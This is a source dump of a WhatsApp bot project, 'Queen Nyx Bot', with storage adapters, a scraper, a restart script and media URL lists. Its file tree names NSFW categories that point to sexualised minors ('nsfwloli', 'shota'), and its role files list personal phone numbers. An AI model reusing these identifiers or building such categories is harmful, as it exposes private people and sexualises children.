├── app.log ├── lib ├── lowdb │ ├── CAF │ ├── adapters │ │ ├── CAF │ │ ├── Memory.d.ts │ │ ├── MemorySync.d.ts │ │ ├── LocalStorage.d.ts │ │ ├── JSONFile.d.ts │ │ ├── JSONFileSync.d.ts │ │ ├── MemorySync.js │ │ ├── TextFile.d.ts │ │ ├── TextFileSync.d.ts │ │ ├── Memory.js │ │ ├── LocalStorage.js │ │ ├── JSONFile.js │ │ ├── JSONFileSync.js │ │ ├── TextFile.js │ │ └── TextFileSync.js │ ├── MissingAdapterError.d.ts │ ├── MissingAdapterError.js │ ├── LowSync.d.ts │ ├── Low.d.ts │ ├── index.d.ts │ ├── index.js │ ├── LowSync.js │ └── Low.js ├── prexzy.js ├── color.js ├── binary.js ├── mediafire.js ├── loader.js ├── tiktok.js ├── groq.js ├── mongoDB.js ├── textpro.js ├── math.js ├── uploader.js ├── converter.js ├── photooxy.js ├── premiun.js ├── remini.js ├── antidelete.js ├── tictactoe.js ├── ban.js └── exif.js ├── version.txt ├── Temporary └── T.json ├── data └── ban.json ├── src ├── data │ ├── role │ │ ├── premium.json │ │ ├── owner.json │ │ ├── prexzy.js │ │ └── user.json │ └── function │ │ ├── badword.json │ │ ├── prexzy.js │ │ └── nsfw.json ├── prexzy.js └── media │ ├── nsfw │ ├── prexzy.js │ ├── foot.json │ ├── jahy.json │ ├── gifs.json │ ├── ahegao.json │ ├── femdom.json │ ├── pussy.json │ ├── manga.json │ ├── cuckold.json │ ├── nsfwloli.json │ ├── gangbang.json │ ├── tentacles.json │ ├── glasses.json │ └── blowjob.json │ ├── anime │ ├── prexzy.js │ └── shota.json │ ├── randompics │ ├── prexzy.js │ ├── antiwork.json │ ├── blackpink.json │ ├── kpop.json │ └── wallhp.json │ ├── tiktokpics │ ├── prexzy.js │ ├── vietnam.json │ ├── japan.json │ ├── korea.json │ ├── thailand.json │ ├── malaysia.json │ ├── hijab.json │ ├── indonesia.json │ ├── china.json │ └── random.json │ └── tiktokvids │ ├── prexzy.js │ ├── kayes.json │ ├── notnot.json │ ├── panrika.json │ ├── gheayubi.json │ ├── santuy.json │ ├── bocil.json │ └── ukhty.json ├── PrexzyMedia ├── database │ ├── apk.json │ ├── doc.json │ ├── zip.json │ ├── prexzyimage.json │ ├── prexzysticker.json │ ├── prexzyvideo.json │ ├── prexzyvn.json │ └── prexzy.js ├── theme │ ├── prexzy.xlsx │ ├── prexzy.js │ ├── sticker_reply │ │ ├── prexzy.js │ │ ├── admin.webp │ │ ├── group.webp │ │ ├── owner.webp │ │ ├── wait.webp │ │ ├── botadmin.webp │ │ └── private.webp │ ├── Nyx-bot.mp4 │ ├── donate.jpg │ └── nyxpic.jpg ├── trash │ └── prexzy.js ├── apk │ └── prexzy.js ├── audio │ ├── prexzy.js │ ├── .menu.mp3 │ ├── .allmenu.mp3 │ └── .owner.mp3 ├── doc │ └── prexzy.js ├── file │ └── prexzy.js ├── font │ └── prexzy.js ├── gif │ └── prexzy.js ├── image │ └── prexzy.js ├── video │ └── prexzy.js ├── zip │ └── prexzy.js └── sticker │ └── prexzy.js ├── version.json ├── prexzy.js ├── changelog.txt ├── module.js ├── index.js ├── tempor.js ├── converter.js ├── settings.js ├── package.json ├── README.md ├── functions.js ├── myfunc.js └── exif.js /app.log: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /lib/lowdb/CAF: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /version.txt: -------------------------------------------------------------------------------- 1 | 1.1.0 -------------------------------------------------------------------------------- /Temporary/T.json: -------------------------------------------------------------------------------- 1 | [] 2 | -------------------------------------------------------------------------------- /data/ban.json: -------------------------------------------------------------------------------- 1 | {} 2 | -------------------------------------------------------------------------------- /src/data/role/premium.json: -------------------------------------------------------------------------------- 1 | [] -------------------------------------------------------------------------------- /PrexzyMedia/database/apk.json: -------------------------------------------------------------------------------- 1 | [] -------------------------------------------------------------------------------- /PrexzyMedia/database/doc.json: -------------------------------------------------------------------------------- 1 | [] -------------------------------------------------------------------------------- /PrexzyMedia/database/zip.json: -------------------------------------------------------------------------------- 1 | [] -------------------------------------------------------------------------------- /PrexzyMedia/theme/prexzy.xlsx: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /PrexzyMedia/trash/prexzy.js: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /lib/lowdb/adapters/CAF: -------------------------------------------------------------------------------- 1 | >\\\< 2 | -------------------------------------------------------------------------------- /src/data/function/badword.json: -------------------------------------------------------------------------------- 1 | [] 2 | -------------------------------------------------------------------------------- /PrexzyMedia/database/prexzyimage.json: -------------------------------------------------------------------------------- 1 | [] -------------------------------------------------------------------------------- /PrexzyMedia/database/prexzysticker.json: -------------------------------------------------------------------------------- 1 | [] -------------------------------------------------------------------------------- /PrexzyMedia/database/prexzyvideo.json: -------------------------------------------------------------------------------- 1 | [] -------------------------------------------------------------------------------- /src/data/role/owner.json: -------------------------------------------------------------------------------- 1 | ["2349159895444"] 2 | -------------------------------------------------------------------------------- /version.json: -------------------------------------------------------------------------------- 1 | { 2 | "version": "1.1.0" 3 | } 4 | -------------------------------------------------------------------------------- /PrexzyMedia/database/prexzyvn.json: -------------------------------------------------------------------------------- 1 | [".menu",".allmenu",".owner"] -------------------------------------------------------------------------------- /lib/prexzy.js: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Queen Nyx Bot Multi Device " 3 | } -------------------------------------------------------------------------------- /prexzy.js: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Queen Nyx Bot Multi Device " 3 | } -------------------------------------------------------------------------------- /src/prexzy.js: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Queen Nyx Bot Multi Device " 3 | } -------------------------------------------------------------------------------- /src/data/role/prexzy.js: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Queen Nyx Bot Multi Device " 3 | } -------------------------------------------------------------------------------- /PrexzyMedia/theme/prexzy.js: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Queen Nyx Bot Multi Device " 3 | } -------------------------------------------------------------------------------- /src/data/function/prexzy.js: -------------------------------------------------------------------------------- 1 | { 2 | "name": "QUEEN NYX Bot Multi Device " 3 | } -------------------------------------------------------------------------------- /PrexzyMedia/apk/prexzy.js: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Queen Nyx Bot Multi Device " 3 | } 4 | -------------------------------------------------------------------------------- /PrexzyMedia/audio/prexzy.js: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Queen Nyx Bot Multi Device " 3 | } 4 | -------------------------------------------------------------------------------- /PrexzyMedia/doc/prexzy.js: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Queen Nyx Bot Multi Device " 3 | } 4 | -------------------------------------------------------------------------------- /PrexzyMedia/file/prexzy.js: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Queen Nyx Bot Multi Device " 3 | } 4 | -------------------------------------------------------------------------------- /PrexzyMedia/font/prexzy.js: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Queen Nyx Bot Multi Device " 3 | } 4 | -------------------------------------------------------------------------------- /PrexzyMedia/gif/prexzy.js: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Queen Nyx Bot Multi Device " 3 | } 4 | -------------------------------------------------------------------------------- /PrexzyMedia/image/prexzy.js: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Queen Nyx Bot Multi Device " 3 | } 4 | -------------------------------------------------------------------------------- /PrexzyMedia/video/prexzy.js: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Queen Nyx Bot Multi Device " 3 | } 4 | -------------------------------------------------------------------------------- /PrexzyMedia/zip/prexzy.js: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Queen Nyx Bot Multi Device " 3 | } 4 | -------------------------------------------------------------------------------- /src/data/function/nsfw.json: -------------------------------------------------------------------------------- 1 | ["120363047626537933@g.us","120363271750319443@g.us"] -------------------------------------------------------------------------------- /src/media/nsfw/prexzy.js: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Queen Nyx Bot Multi Device " 3 | } 4 | -------------------------------------------------------------------------------- /PrexzyMedia/database/prexzy.js: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Queen Nyx Bot Multi Device " 3 | } 4 | -------------------------------------------------------------------------------- /PrexzyMedia/sticker/prexzy.js: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Queen Nyx Bot Multi Device " 3 | } 4 | -------------------------------------------------------------------------------- /src/media/anime/prexzy.js: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Queen Nyx Bot Multi Device " 3 | } 4 | -------------------------------------------------------------------------------- /src/media/randompics/prexzy.js: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Queen Nyx Bot Multi Device " 3 | } 4 | -------------------------------------------------------------------------------- /src/media/tiktokpics/prexzy.js: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Queen Nyx Bot Multi Device " 3 | } 4 | -------------------------------------------------------------------------------- /src/media/tiktokvids/prexzy.js: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Queen Nyx Bot Multi Device " 3 | } 4 | -------------------------------------------------------------------------------- /PrexzyMedia/theme/sticker_reply/prexzy.js: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Queen Nyx Bot Multi Device " 3 | } 4 | -------------------------------------------------------------------------------- /PrexzyMedia/audio/.menu.mp3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Prexzybooster/QUEEN-NYX-BOT/HEAD/PrexzyMedia/audio/.menu.mp3 -------------------------------------------------------------------------------- /PrexzyMedia/audio/.allmenu.mp3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Prexzybooster/QUEEN-NYX-BOT/HEAD/PrexzyMedia/audio/.allmenu.mp3 -------------------------------------------------------------------------------- /PrexzyMedia/audio/.owner.mp3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Prexzybooster/QUEEN-NYX-BOT/HEAD/PrexzyMedia/audio/.owner.mp3 -------------------------------------------------------------------------------- /PrexzyMedia/theme/Nyx-bot.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Prexzybooster/QUEEN-NYX-BOT/HEAD/PrexzyMedia/theme/Nyx-bot.mp4 -------------------------------------------------------------------------------- /PrexzyMedia/theme/donate.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Prexzybooster/QUEEN-NYX-BOT/HEAD/PrexzyMedia/theme/donate.jpg -------------------------------------------------------------------------------- /PrexzyMedia/theme/nyxpic.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Prexzybooster/QUEEN-NYX-BOT/HEAD/PrexzyMedia/theme/nyxpic.jpg -------------------------------------------------------------------------------- /lib/lowdb/MissingAdapterError.d.ts: -------------------------------------------------------------------------------- 1 | export declare class MissingAdapterError extends Error { 2 | constructor(); 3 | } 4 | -------------------------------------------------------------------------------- /src/data/role/user.json: -------------------------------------------------------------------------------- 1 | [ 2 | "2349159895444@s.whatsapp.net", 3 | "16582044119@s.whatsapp.net", 4 | "263717632655@s.whatsapp.net" 5 | ] -------------------------------------------------------------------------------- /PrexzyMedia/theme/sticker_reply/admin.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Prexzybooster/QUEEN-NYX-BOT/HEAD/PrexzyMedia/theme/sticker_reply/admin.webp -------------------------------------------------------------------------------- /PrexzyMedia/theme/sticker_reply/group.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Prexzybooster/QUEEN-NYX-BOT/HEAD/PrexzyMedia/theme/sticker_reply/group.webp -------------------------------------------------------------------------------- /PrexzyMedia/theme/sticker_reply/owner.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Prexzybooster/QUEEN-NYX-BOT/HEAD/PrexzyMedia/theme/sticker_reply/owner.webp -------------------------------------------------------------------------------- /PrexzyMedia/theme/sticker_reply/wait.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Prexzybooster/QUEEN-NYX-BOT/HEAD/PrexzyMedia/theme/sticker_reply/wait.webp -------------------------------------------------------------------------------- /PrexzyMedia/theme/sticker_reply/botadmin.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Prexzybooster/QUEEN-NYX-BOT/HEAD/PrexzyMedia/theme/sticker_reply/botadmin.webp -------------------------------------------------------------------------------- /PrexzyMedia/theme/sticker_reply/private.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Prexzybooster/QUEEN-NYX-BOT/HEAD/PrexzyMedia/theme/sticker_reply/private.webp -------------------------------------------------------------------------------- /changelog.txt: -------------------------------------------------------------------------------- 1 | 🔥 QUEEN NYX v1.1.0 Changelog: 2 | 3 | - Added a progress bar to the update system. 4 | - Fixed gitclone command 5 | - Fixed a bug in the .ping command. 6 | 7 | ✅ 8 | -------------------------------------------------------------------------------- /lib/lowdb/MissingAdapterError.js: -------------------------------------------------------------------------------- 1 | class MissingAdapterError extends Error { 2 | constructor() { 3 | super(); 4 | this.message = 'Missing Adapter'; 5 | } 6 | } 7 | module.exports = { MissingAdapterError }; 8 | -------------------------------------------------------------------------------- /lib/lowdb/adapters/Memory.d.ts: -------------------------------------------------------------------------------- 1 | import { Adapter } from '../Low.js'; 2 | export declare class Memory implements Adapter { 3 | private data; 4 | read(): Promise; 5 | write(obj: T): Promise; 6 | } 7 | -------------------------------------------------------------------------------- /lib/lowdb/adapters/MemorySync.d.ts: -------------------------------------------------------------------------------- 1 | import { SyncAdapter } from '../LowSync.js'; 2 | export declare class MemorySync implements SyncAdapter { 3 | private data; 4 | read(): T | null; 5 | write(obj: T): void; 6 | } 7 | -------------------------------------------------------------------------------- /lib/lowdb/adapters/LocalStorage.d.ts: -------------------------------------------------------------------------------- 1 | import { SyncAdapter } from '../LowSync.js'; 2 | export declare class LocalStorage implements SyncAdapter { 3 | private key; 4 | constructor(key: string); 5 | read(): T | null; 6 | write(obj: T): void; 7 | } 8 | -------------------------------------------------------------------------------- /lib/lowdb/adapters/JSONFile.d.ts: -------------------------------------------------------------------------------- 1 | import { Adapter } from '../Low.js'; 2 | export declare class JSONFile implements Adapter { 3 | private adapter; 4 | constructor(filename: string); 5 | read(): Promise; 6 | write(obj: T): Promise; 7 | } 8 | -------------------------------------------------------------------------------- /lib/lowdb/adapters/JSONFileSync.d.ts: -------------------------------------------------------------------------------- 1 | import { SyncAdapter } from '../LowSync.js'; 2 | export declare class JSONFileSync implements SyncAdapter { 3 | private adapter; 4 | constructor(filename: string); 5 | read(): T | null; 6 | write(obj: T): void; 7 | } 8 | -------------------------------------------------------------------------------- /lib/lowdb/adapters/MemorySync.js: -------------------------------------------------------------------------------- 1 | class MemorySync { 2 | constructor() { 3 | this.data = null; 4 | } 5 | read() { 6 | return this.data || null; 7 | } 8 | write(obj) { 9 | this.data = obj; 10 | } 11 | } 12 | module.exports = { MemorySync }; 13 | -------------------------------------------------------------------------------- /lib/lowdb/adapters/TextFile.d.ts: -------------------------------------------------------------------------------- 1 | import { Adapter } from '../Low.js'; 2 | export declare class TextFile implements Adapter { 3 | private filename; 4 | private writer; 5 | constructor(filename: string); 6 | read(): Promise; 7 | write(str: string): Promise; 8 | } 9 | -------------------------------------------------------------------------------- /lib/lowdb/adapters/TextFileSync.d.ts: -------------------------------------------------------------------------------- 1 | import { SyncAdapter } from '../LowSync.js'; 2 | export declare class TextFileSync implements SyncAdapter { 3 | private tempFilename; 4 | private filename; 5 | constructor(filename: string); 6 | read(): string | null; 7 | write(str: string): void; 8 | } 9 | -------------------------------------------------------------------------------- /lib/lowdb/adapters/Memory.js: -------------------------------------------------------------------------------- 1 | class Memory { 2 | constructor() { 3 | this.data = null; 4 | } 5 | read() { 6 | return Promise.resolve(this.data); 7 | } 8 | write(obj) { 9 | this.data = obj; 10 | return Promise.resolve(); 11 | } 12 | } 13 | module.exports = { Memory }; 14 | -------------------------------------------------------------------------------- /lib/lowdb/LowSync.d.ts: -------------------------------------------------------------------------------- 1 | export interface SyncAdapter { 2 | read: () => T | null; 3 | write: (data: T) => void; 4 | } 5 | export declare class LowSync { 6 | adapter: SyncAdapter; 7 | data: T | null; 8 | constructor(adapter: SyncAdapter); 9 | read(): void; 10 | write(): void; 11 | } 12 | -------------------------------------------------------------------------------- /src/media/tiktokpics/vietnam.json: -------------------------------------------------------------------------------- 1 | [ 2 | {"url":"https://i.postimg.cc/L4qZCk0w/p-1962nyvh11.jpg"}, 3 | {"url":"https://i.postimg.cc/ncB9ZFx1/p-1962o8k741.jpg"}, 4 | {"url":"https://i.postimg.cc/MGKny1Qs/p-1962wlno91.jpg"}, 5 | {"url":"https://i.postimg.cc/NMKLnYbm/p-1962yw2d21.jpg"}, 6 | {"url":"https://i.postimg.cc/mrXtVh3T/p-1962z7kwy1.jpg"} 7 | ] 8 | -------------------------------------------------------------------------------- /lib/lowdb/Low.d.ts: -------------------------------------------------------------------------------- 1 | export interface Adapter { 2 | read: () => Promise; 3 | write: (data: T) => Promise; 4 | } 5 | export declare class Low { 6 | adapter: Adapter; 7 | data: T | null; 8 | constructor(adapter: Adapter); 9 | read(): Promise; 10 | write(): Promise; 11 | } 12 | -------------------------------------------------------------------------------- /src/media/tiktokvids/kayes.json: -------------------------------------------------------------------------------- 1 | [ 2 | {"url":"https://b.top4top.io/m_2442d9ia10.mp4"}, 3 | {"url":"https://f.top4top.io/m_24449l6wj0.mp4"}, 4 | {"url":"https://g.top4top.io/m_24443skoc1.mp4"}, 5 | {"url":"https://h.top4top.io/m_2444q3q4w2.mp4"}, 6 | {"url":"https://i.top4top.io/m_2444ii1ff3.mp4"}, 7 | {"url":"https://j.top4top.io/m_2444p2u0y4.mp4"} 8 | ] -------------------------------------------------------------------------------- /lib/lowdb/index.d.ts: -------------------------------------------------------------------------------- 1 | export * from './adapters/JSONFile.js'; 2 | export * from './adapters/JSONFileSync.js'; 3 | export * from './adapters/LocalStorage.js'; 4 | export * from './adapters/Memory.js'; 5 | export * from './adapters/MemorySync.js'; 6 | export * from './adapters/TextFile.js'; 7 | export * from './adapters/TextFileSync.js'; 8 | export * from './Low.js'; 9 | export * from './LowSync.js'; 10 | -------------------------------------------------------------------------------- /lib/lowdb/index.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | ...require('./adapters/JSONFile.js'), 3 | ...require('./adapters/JSONFileSync.js'), 4 | ...require('./adapters/LocalStorage.js'), 5 | ...require('./adapters/Memory.js'), 6 | ...require('./adapters/MemorySync.js'), 7 | ...require('./adapters/TextFile.js'), 8 | ...require('./adapters/TextFileSync.js'), 9 | ...require('./Low.js'), 10 | ...require('./LowSync.js'), 11 | } -------------------------------------------------------------------------------- /lib/lowdb/adapters/LocalStorage.js: -------------------------------------------------------------------------------- 1 | class LocalStorage { 2 | constructor(key) { 3 | this.key = key; 4 | } 5 | read() { 6 | const value = localStorage.getItem(this.key); 7 | if (value === null) { 8 | return null; 9 | } 10 | return JSON.parse(value); 11 | } 12 | write(obj) { 13 | localStorage.setItem(this.key, JSON.stringify(obj)); 14 | } 15 | } 16 | module.exports = { LocalStorage }; 17 | -------------------------------------------------------------------------------- /module.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | modul: { 3 | axios: require('axios'), 4 | boom: require('@hapi/boom'), 5 | baileys: require('@whiskeysockets/baileys'), 6 | chalk: require('chalk'), 7 | cheerio: require('cheerio'), 8 | child_process: require('child_process'), 9 | fs: require('fs'), 10 | fetch: require('node-fetch'), 11 | FormData: require('form-data'), 12 | FileType: require('file-type'), 13 | process: require('process'), 14 | PhoneNumber: require('awesome-phonenumber') 15 | } 16 | } -------------------------------------------------------------------------------- /lib/lowdb/adapters/JSONFile.js: -------------------------------------------------------------------------------- 1 | const { TextFile } = require('./TextFile.js'); 2 | class JSONFile { 3 | constructor(filename) { 4 | this.adapter = new TextFile(filename); 5 | } 6 | async read() { 7 | const data = await this.adapter.read(); 8 | if (data === null) { 9 | return null; 10 | } 11 | else { 12 | return JSON.parse(data); 13 | } 14 | } 15 | write(obj) { 16 | return this.adapter.write(JSON.stringify(obj, null, 2)); 17 | } 18 | } 19 | module.exports = { JSONFile }; 20 | -------------------------------------------------------------------------------- /src/media/tiktokvids/notnot.json: -------------------------------------------------------------------------------- 1 | [ 2 | {"url":"https://k.top4top.io/m_2442ag1hz0.mp4"}, 3 | {"url":"https://e.top4top.io/m_2442zoq1q0.mp4"}, 4 | {"url":"https://d.top4top.io/m_2442fhuc30.mp4"}, 5 | {"url":"https://j.top4top.io/m_24422gftd0.mp4"}, 6 | {"url":"https://b.top4top.io/m_2443t8ab30.mp4"}, 7 | {"url":"https://a.top4top.io/m_2443wc3wp0.mp4"}, 8 | {"url":"https://b.top4top.io/m_2443mcw8l0.mp4"}, 9 | {"url":"https://e.top4top.io/m_2444w606q1.mp4"}, 10 | {"url":"https://d.top4top.io/m_24441r8490.mp4"}, 11 | {"url":"https://g.top4top.io/m_2442x0pz10.mp4"} 12 | ] -------------------------------------------------------------------------------- /lib/lowdb/adapters/JSONFileSync.js: -------------------------------------------------------------------------------- 1 | const { TextFileSync } = require('./TextFileSync.js'); 2 | class JSONFileSync { 3 | constructor(filename) { 4 | this.adapter = new TextFileSync(filename); 5 | } 6 | read() { 7 | const data = this.adapter.read(); 8 | if (data === null) { 9 | return null; 10 | } 11 | else { 12 | return JSON.parse(data); 13 | } 14 | } 15 | write(obj) { 16 | this.adapter.write(JSON.stringify(obj, null, 2)); 17 | } 18 | } 19 | module.exports = { JSONFileSync }; 20 | -------------------------------------------------------------------------------- /lib/lowdb/LowSync.js: -------------------------------------------------------------------------------- 1 | const { MissingAdapterError } = require('./MissingAdapterError.js'); 2 | class LowSync { 3 | constructor(adapter) { 4 | this.data = null; 5 | if (adapter) { 6 | this.adapter = adapter; 7 | } 8 | else { 9 | throw new MissingAdapterError(); 10 | } 11 | } 12 | read() { 13 | this.data = this.adapter.read(); 14 | } 15 | write() { 16 | if (this.data !== null) { 17 | this.adapter.write(this.data); 18 | } 19 | } 20 | } 21 | module.exports = { LowSync }; 22 | -------------------------------------------------------------------------------- /lib/lowdb/Low.js: -------------------------------------------------------------------------------- 1 | const { MissingAdapterError } = require('./MissingAdapterError.js'); 2 | class Low { 3 | constructor(adapter) { 4 | this.data = null; 5 | if (adapter) { 6 | this.adapter = adapter; 7 | } 8 | else { 9 | throw new MissingAdapterError(); 10 | } 11 | } 12 | async read() { 13 | this.data = await this.adapter.read(); 14 | } 15 | async write() { 16 | if (this.data) { 17 | await this.adapter.write(this.data); 18 | } 19 | } 20 | } 21 | module.exports = { Low }; 22 | -------------------------------------------------------------------------------- /lib/color.js: -------------------------------------------------------------------------------- 1 | //base by DGXeon 2 | //re-upload? recode? copy code? give credit ya :) 3 | //YouTube: @DGXeon 4 | //Instagram: unicorn_xeon13 5 | //Telegram: t.me/xeonbotinc 6 | //GitHub: @DGXeon 7 | //WhatsApp: +916909137213 8 | //want more free bot scripts? subscribe to my youtube channel: https://youtube.com/@DGXeon 9 | 10 | const chalk = require('chalk') 11 | const color = (text, color) => { 12 | return !color ? chalk.green(text) : chalk.keyword(color)(text) 13 | } 14 | const bgcolor = (text, bgcolor) => { 15 | return !bgcolor ? chalk.green(text) : chalk.bgKeyword(bgcolor)(text) 16 | } 17 | module.exports = { 18 | color, 19 | bgcolor 20 | } 21 | -------------------------------------------------------------------------------- /lib/lowdb/adapters/TextFile.js: -------------------------------------------------------------------------------- 1 | const fs = require('fs'); 2 | const { Writer } = require('steno'); 3 | class TextFile { 4 | constructor(filename) { 5 | this.filename = filename; 6 | this.writer = new Writer(filename); 7 | } 8 | async read() { 9 | let data; 10 | try { 11 | data = await fs.promises.readFile(this.filename, 'utf-8'); 12 | } 13 | catch (e) { 14 | if (e.code === 'ENOENT') { 15 | return null; 16 | } 17 | throw e; 18 | } 19 | return data; 20 | } 21 | write(str) { 22 | return this.writer.write(str); 23 | } 24 | } 25 | module.exports = { TextFile }; -------------------------------------------------------------------------------- /lib/binary.js: -------------------------------------------------------------------------------- 1 | //base by DGXeon 2 | //re-upload? recode? copy code? give credit ya :) 3 | //YouTube: @DGXeon 4 | //Instagram: unicorn_xeon13 5 | //Telegram: t.me/xeonbotinc 6 | //GitHub: @DGXeon 7 | //WhatsApp: +916909137213 8 | //want more free bot scripts? subscribe to my youtube channel: https://youtube.com/@DGXeon 9 | 10 | async function dBinary(str) { 11 | var newBin = str.split(" ") 12 | var binCode = [] 13 | for (i = 0; i < newBin.length; i++) { 14 | binCode.push(String.fromCharCode(parseInt(newBin[i], 2))) 15 | } 16 | return binCode.join("") 17 | } 18 | 19 | async function eBinary(str = ''){ 20 | let res = '' 21 | res = str.split('').map(char => { 22 | return char.charCodeAt(0).toString(2); 23 | }).join(' ') 24 | return res 25 | } 26 | 27 | module.exports = { dBinary, eBinary } -------------------------------------------------------------------------------- /lib/lowdb/adapters/TextFileSync.js: -------------------------------------------------------------------------------- 1 | const fs = require('fs'); 2 | const path = require('path'); 3 | class TextFileSync { 4 | constructor(filename) { 5 | this.filename = filename; 6 | this.tempFilename = path.join(path.dirname(filename), `.${path.basename(filename)}.tmp`); 7 | } 8 | read() { 9 | let data; 10 | try { 11 | data = fs.readFileSync(this.filename, 'utf-8'); 12 | } 13 | catch (e) { 14 | if (e.code === 'ENOENT') { 15 | return null; 16 | } 17 | throw e; 18 | } 19 | return data; 20 | } 21 | write(str) { 22 | fs.writeFileSync(this.tempFilename, str); 23 | fs.renameSync(this.tempFilename, this.filename); 24 | } 25 | } 26 | module.exports = { TextFileSync }; 27 | -------------------------------------------------------------------------------- /lib/mediafire.js: -------------------------------------------------------------------------------- 1 | const axios = require('axios'); 2 | const cheerio = require('cheerio'); 3 | 4 | async function mediafireDl(url) { 5 | try { 6 | const res = await axios.get(url); 7 | const $ = cheerio.load(res.data); 8 | 9 | let link = $('a#downloadButton').attr('href'); 10 | let fileName = $('div.filename').text().trim(); 11 | let fileSize = $('div.info span').eq(1).text().trim(); 12 | 13 | if (!link) throw new Error('Failed to fetch download link.'); 14 | 15 | return { 16 | name: fileName || 'Unknown', 17 | size: fileSize || 'Unknown', 18 | link: link 19 | }; 20 | } catch (error) { 21 | console.error('Error in mediafireDl:', error); 22 | return null; 23 | } 24 | } 25 | 26 | module.exports = { mediafireDl }; -------------------------------------------------------------------------------- /index.js: -------------------------------------------------------------------------------- 1 | //base by DGXeon 2 | //recode by rapikz 3 | 4 | const { 5 | spawn 6 | } = require('child_process') 7 | const path = require('path') 8 | 9 | function start() { 10 | let args = [path.join(__dirname, 'main.js'), ...process.argv.slice(2)] 11 | console.log([process.argv[0], ...args].join('\n')) 12 | let p = spawn(process.argv[0], args, { 13 | stdio: ['inherit', 'inherit', 'inherit', 'ipc'] 14 | }) 15 | .on('message', data => { 16 | if (data == 'reset') { 17 | console.log('Restarting Bot...') 18 | p.kill() 19 | start() 20 | delete p 21 | } 22 | }) 23 | .on('exit', code => { 24 | console.error('Exited with code:', code) 25 | if (code == '.' || code == 1 || code == 0) start() 26 | }) 27 | } 28 | start() 29 | -------------------------------------------------------------------------------- /src/media/randompics/antiwork.json: -------------------------------------------------------------------------------- 1 | [ 2 | {"url":"https://i.redd.it/u0ox4p3fiw981.jpg"}, 3 | {"url":"https://i.redd.it/jphtc6gfjx981.jpg"}, 4 | {"url":"https://i.redd.it/43dwrtjuvw981.jpg"}, 5 | {"url":"https://i.redd.it/6a6gtd6yts981.jpg"}, 6 | {"url":"https://i.redd.it/afrkcnverw981.jpg"}, 7 | {"url":"https://i.redd.it/gzb7q7fonp981.jpg"}, 8 | {"url":"https://i.redd.it/fvlnerm0ys981.jpg"}, 9 | {"url":"https://i.redd.it/yffgctbf7y981.jpg"}, 10 | {"url":"https://i.redd.it/els7ckofvw981.jpg"}, 11 | {"url":"https://i.redd.it/3durggywfv981.png"}, 12 | {"url":"https://i.redd.it/2wi7yptskw981.jpg"}, 13 | {"url":"https://i.redd.it/hb4udfci2y981.png"}, 14 | {"url":"https://i.redd.it/vi4c08y43x981.jpg"}, 15 | {"url":"https://i.redd.it/l0nmn6s6qy981.jpg"}, 16 | {"url":"https://i.redd.it/vl0hcwq24y981.jpg"}, 17 | {"url":"https://i.redd.it/6aumdyz2ly981.jpg"} 18 | ] 19 | -------------------------------------------------------------------------------- /lib/loader.js: -------------------------------------------------------------------------------- 1 | //base by DGXeon 2 | //re-upload? recode? copy code? give credit ya :) 3 | //YouTube: @DGXeon 4 | //Instagram: unicorn_xeon13 5 | //Telegram: t.me/xeonbotinc 6 | //GitHub: @DGXeon 7 | //WhatsApp: +916909137213 8 | //want more free bot scripts? subscribe to my youtube channel: https://youtube.com/@DGXeon 9 | 10 | const fs = require('fs') 11 | const { color } = require('./color') 12 | 13 | async function uncache(module = '.') { 14 | return new Promise((resolve, reject) => { 15 | try { 16 | delete require.cache[require.resolve(module)] 17 | resolve() 18 | } catch (e) { 19 | reject(e) 20 | } 21 | }) 22 | } 23 | 24 | async function nocache(module, cb = () => { }) { 25 | console.log(color('Module', 'blue'), color(`'${module} is up to date!'`, 'cyan')) 26 | fs.watchFile(require.resolve(module), async () => { 27 | await uncache(require.resolve(module)) 28 | cb(module) 29 | }) 30 | } 31 | 32 | module.exports = { 33 | uncache, 34 | nocache 35 | } 36 | -------------------------------------------------------------------------------- /src/media/tiktokvids/panrika.json: -------------------------------------------------------------------------------- 1 | [ 2 | {"url":"https://b.top4top.io/m_1930thxw90.mp4"}, 3 | {"url":"https://d.top4top.io/m_1930pezhp0.mp4"}, 4 | {"url":"https://c.top4top.io/m_1930cjgbx0.mp4"}, 5 | {"url":"https://b.top4top.io/m_1930v6vhg0.mp4"}, 6 | {"url":"https://f.top4top.io/m_1930uh7ud0.mp4"}, 7 | {"url":"https://a.top4top.io/m_1930c9cpb0.mp4"}, 